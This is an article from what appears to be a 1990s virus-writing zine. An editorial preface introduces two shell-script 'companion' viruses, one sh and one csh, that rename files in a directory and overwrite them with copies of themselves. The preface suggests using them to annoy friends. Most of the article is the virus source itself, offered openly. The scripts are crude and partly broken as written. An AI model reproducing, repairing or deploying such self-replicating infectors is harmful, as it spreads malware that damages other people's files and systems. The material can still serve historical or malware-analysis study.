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64 lines
1.7 KiB
Plaintext
64 lines
1.7 KiB
Plaintext
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Lame Unix Viruses
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+---------------+
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Well, you might have read the title to this article and thought, well
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if the damn thing is lame.. why the fuck is it in vlad#4 ?! This can
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be answered quite simply, we had one free space! :) It was a bit of
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a dilemma to begin with, we had four articles and one space. The problem
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was they were all kinda lame. So it was a lame pick of the month episode.
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Out of the four articles this was the leastest lamest. Well actually
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I don't know about that, but anyway it was the most different one we
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had sitting there. Just to prove the title, the author of these
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masterpieces asked to remain anonymous to save his reputation.
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These "viruses" are the equivalent of a DOS batch file infector because
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they are written in shell language. They function similarly to companion
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infectors by renaming the original file and replacing it with themselves.
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Disinfection is simple by 'mv'ing (moving) the original files back.
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Anyway, perhaps someone is interested so here they are. There isn't
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much use for them except to annoy your friends when it messes up all
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the files in their directory.
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+-----------------------------------+
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#!/bin/sh
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# Dumb Unix Virus
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# I dont wanna write anutha dumb unix virus qark, i wont
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# Due to excess lameness, dont distribute
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# <Author's name withheld for obvious reasons>
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for files in *
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do
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if [ -x files ]
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then
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if [ ! -d files ]
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then
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mv files files.EVILVIRUS.HELPME
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cp $0 files
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chmod +x files
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files.EVILVIRUS.HELPME
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fi
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fi
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+-----------------------------------+
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cat << _EOF >unix.virus
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#!/bin/csh
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# Dumber Unix Virus
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# by
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# SumUtherGuy
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foreach i (*)
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mv $i bak.$i
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cp $0 $i
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i >> $i
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end
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_EOF
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+-----------------------------------+
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